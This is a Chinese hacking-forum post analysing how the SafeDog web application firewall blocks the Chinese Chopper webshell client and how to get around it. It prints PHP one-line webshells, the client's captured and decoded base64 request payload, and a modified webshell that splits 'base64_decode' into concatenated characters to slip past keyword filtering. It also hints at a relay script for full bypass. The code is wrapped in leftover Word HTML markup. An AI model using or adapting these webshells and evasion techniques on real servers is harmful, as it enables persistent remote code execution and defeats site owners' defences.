菜刀过狗分析
马上注册,加入HACK80!与我们一起交流。
正式会员需要 登录 才可以下载或查看,没有帐号?立即注册
x
只是简单的分析一下安全狗对菜刀的拦截和突破。。。
没有什么技术含量。。。。大牛勿喷。。。
测试坏境IIS6.0 + PHP + 安全狗IIS版V3.1
安全狗设置都是默认的。。没有经过任何更改。。。
因为本屌看过一点韩老师的PHP视频 ,所以就先从php一句话开始吧。。。。
传统php一句话
- <span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'Times New Roman'; "><?php @eval($_POST['</span><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'宋体'; ">x</span><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'Times New Roman'; ">']);?></span>
复制代码
这个已经杀的不能再杀了。。。。
菜刀过JB狗分析 2-201.png (46.15 KB, 下载次数: 243)
下载附件
2013-10-2 16:52 上传
But
菜刀过JB狗分析 2-208.png (30.8 KB, 下载次数: 244)
下载附件
2013-10-2 16:52 上传
看出什么来了吗??
很明显 狗狗是把POST当做关键字,只要我们把POST拆分一下。。狗狗一下子就乖了很多
看到这里我想神马变异一句话什么的都很容易写出了吧
这里就留给大家一个实战的机会各位童鞋自行编写一句话吧。。。。
OK,web端已经搞定了
接下来用菜刀连接看看。。
- <p class="p0" style="margin-bottom:0pt; margin-top:0pt; "><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'Times New Roman'; "><?php @eval($_PO</span><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'Times New Roman'; "><o:p></o:p></span></p><p class="p0" style="margin-bottom:0pt; margin-top:0pt; "><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'Times New Roman'; ">ST['x']);?></span></p>
复制代码
菜刀过JB狗分析 2-386.png (30.85 KB, 下载次数: 233)
下载附件
2013-10-2 16:52 上传
可以看到用菜刀连接时会提示403
那么问题会出在哪里呢?
聪明的童鞋肯定已经想到了,没错POST数据包。。。狗狗拦截了我们的数据包
那我们先来看看菜刀发的数据包吧。。。
怎么看呢。。。。。废话肯定是burp咯
菜刀过JB狗分析 2-506.png (65.58 KB, 下载次数: 240)
下载附件
2013-10-2 16:53 上传
好像图片有点看不清楚哈
我就贴出来吧
- x=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D
复制代码
很明显,加密了 不过明眼人都看的出来很简单的加密先URL在base64
好了解密后就是这个了
- <span style="mso-spacerun:'yes'; color:rgb(0,0,0); font-size:13.5000pt; font-family:'宋体'; ">x</span><span style="mso-spacerun:'yes'; color:rgb(0,0,0); font-size:13.5000pt; font-family:'Courier New'; ">=@</span><span class="15" style="mso-spacerun:'yes'; color:rgb(77,77,77); font-size:12.0000pt; font-family:'宋体'; ">assert</span><span style="mso-spacerun:'yes'; color:rgb(0,0,0); font-size:13.5000pt; font-family:'Courier New'; ">(base64_decode($_</span><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'Times New Roman'; ">REQUEST</span><span style="mso-spacerun:'yes'; color:rgb(0,0,0); font-size:13.5000pt; font-family:'Courier New'; ">[z0]));&z0=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();</span>
复制代码
好长啊。。。。。。。。。。在这些代码里狗狗又会拦截哪些关键字呢。。。
我第一个想到的就是和一句话一样的关键字
POST
x=@eval(base64_decode($_POST[z0]))
可以看到开头就有POST关键字
试着修改一下x=@eval(base64_decode($_REQUEST[z0]))
菜刀过JB狗分析 2-1957.png (33.03 KB, 下载次数: 228)
下载附件
2013-10-2 16:53 上传
很不幸。。。V3.1已经和谐了我记得V3.0这样还是可以过的。。
既然不是POST关键字
那么我们写一个php页面来逐一判断狗狗把关键字该成什么了
z0.php页面代码如下
- <p class="p0" style="margin-bottom:0pt; margin-top:0pt; "><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'宋体'; "><?php</span><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'宋体'; "><o:p></o:p></span></p><p class="p0" style="margin-bottom:0pt; margin-top:0pt; "><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'Times New Roman'; ">$x="%40eval%28%2F%2A012345%2A%2Fbase64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D";</span><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'Times New Roman'; "><o:p></o:p></span></p><p class="p0" style="margin-bottom:0pt; margin-top:0pt; "><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'Times New Roman'; "> </span></p><p class="p0" style="margin-bottom:0pt; margin-top:0pt; "><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'Times New Roman'; ">eval(base64_decode($x));uPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D</span><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'宋体'; "><o:p></o:p></span></p><p class="p0" style="margin-bottom:0pt; margin-top:0pt; "><span style="mso-spacerun:'yes'; color:rgb(0,0,0); font-size:13.5000pt; font-family:'宋体'; "> </span></p><p class="p0" style="margin-bottom:0pt; margin-top:0pt; "><span style="mso-spacerun:'yes'; color:rgb(0,0,0); font-size:13.5000pt; font-family:'宋体'; ">?></span></p>
复制代码
狗狗还是拦截
菜刀过JB狗分析 2-2862.png (43.73 KB, 下载次数: 241)
下载附件
2013-10-2 16:53 上传
这里我测试了很多次就不在这里一一测试了
我就直接告诉大家拦截的关键字是什么吧
base64_decode
没错,拦截的就是base64_decode函数
菜刀过JB狗分析 2-2945.png (43.43 KB, 下载次数: 241)
下载附件
2013-10-2 16:53 上传
菜刀过JB狗分析 2-2948.png (41.61 KB, 下载次数: 236)
下载附件
2013-10-2 16:53 上传
上面这两张图足以证明狗狗是拦截base64_decode了
那么要怎么绕过呢。。。。
本屌的思路是这样的。。。。
1.在菜刀发送数据包的时候进行中转,对base64_decode进行如下
$a="b"."a"."s"."e"."6"."4"."_"."d"."e"."c"."o"."d"."e";
eval($a($z0));
变异
2.修改一句话
- <p class="p0" style="margin-bottom:0pt; margin-top:0pt; "><span style="mso-spacerun:'yes'; color:rgb(0,0,0); font-size:13.5000pt; font-family:'Courier New'; "><?php </span><span style="mso-spacerun:'yes'; color:rgb(0,0,0); font-size:13.5000pt; font-family:'Courier New'; "><o:p></o:p></span></p><p class="p0" style="margin-bottom:0pt; margin-top:0pt; "><span style="mso-spacerun:'yes'; color:rgb(0,0,0); font-size:13.5000pt; font-family:'Courier New'; "> </span></p><p class="p0" style="margin-bottom:0pt; margin-top:0pt; "><span style="mso-spacerun:'yes'; color:rgb(0,0,0); font-size:13.5000pt; font-family:'宋体'; ">$z0 = $_POST['z0'];//<font face="宋体">接受</font><font face="Courier New">z0</font><font face="宋体">参数并执行,所以密码什么的都无所谓了。。。</font></span><span style="mso-spacerun:'yes'; color:rgb(0,0,0); font-size:13.5000pt; font-family:'宋体'; "><o:p></o:p></span></p><p class="p0" style="margin-bottom:0pt; margin-top:0pt; "><span style="mso-spacerun:'yes'; color:rgb(0,0,0); font-size:13.5000pt; font-family:'Courier New'; "> </span></p><p class="p0" style="margin-bottom:0pt; margin-top:0pt; "><span style="mso-spacerun:'yes'; color:rgb(0,0,0); font-size:13.5000pt; font-family:'Courier New'; ">$a = "b"."a"."s"."e"."6"."4"."_"."d"."e"."c"."o"."d"."e";</span><span style="mso-spacerun:'yes'; color:rgb(0,0,0); font-size:13.5000pt; font-family:'Courier New'; "><o:p></o:p></span></p><p class="p0" style="margin-bottom:0pt; margin-top:0pt; "><span style="mso-spacerun:'yes'; color:rgb(0,0,0); font-size:13.5000pt; font-family:'Courier New'; "> </span></p><p class="p0" style="margin-bottom:0pt; margin-top:0pt; "><span style="mso-spacerun:'yes'; color:rgb(0,0,0); font-size:13.5000pt; font-family:'Courier New'; ">eval($a($z0));</span><span style="mso-spacerun:'yes'; color:rgb(0,0,0); font-size:13.5000pt; font-family:'Courier New'; "><o:p></o:p></span></p><p class="p0" style="margin-bottom:0pt; margin-top:0pt; "><span style="mso-spacerun:'yes'; color:rgb(0,0,0); font-size:13.5000pt; font-family:'Courier New'; "> </span></p><p class="p0" style="margin-bottom:0pt; margin-top:0pt; "><span style="mso-spacerun:'yes'; color:rgb(0,0,0); font-size:13.5000pt; font-family:'Courier New'; "> </span></p><p class="p0" style="margin-bottom:0pt; margin-top:0pt; "><span style="mso-spacerun:'yes'; color:rgb(0,0,0); font-size:13.5000pt; font-family:'Courier New'; "> </span></p><p class="p0" style="margin-bottom:0pt; margin-top:0pt; "><span style="mso-spacerun:'yes'; color:rgb(0,0,0); font-size:13.5000pt; font-family:'Courier New'; ">?></span></p>
复制代码
菜刀过JB狗分析 2-3278.png (74.35 KB, 下载次数: 238)
下载附件
2013-10-2 16:53 上传
我们把POST过去的X灭掉
灭掉后是可以正常连接的
But 菜刀在发送第一个数据包获取到绝对路径后需要在发送一个数据包获取当前目录的文件信息
菜刀过JB狗分析 2-3354.png (59.62 KB, 下载次数: 234)
下载附件
2013-10-2 16:53 上传
我想看到这里已经有人有思路可以写出中转脚本在绕过安全狗V3.1了
本屌就不在这里丢人现眼了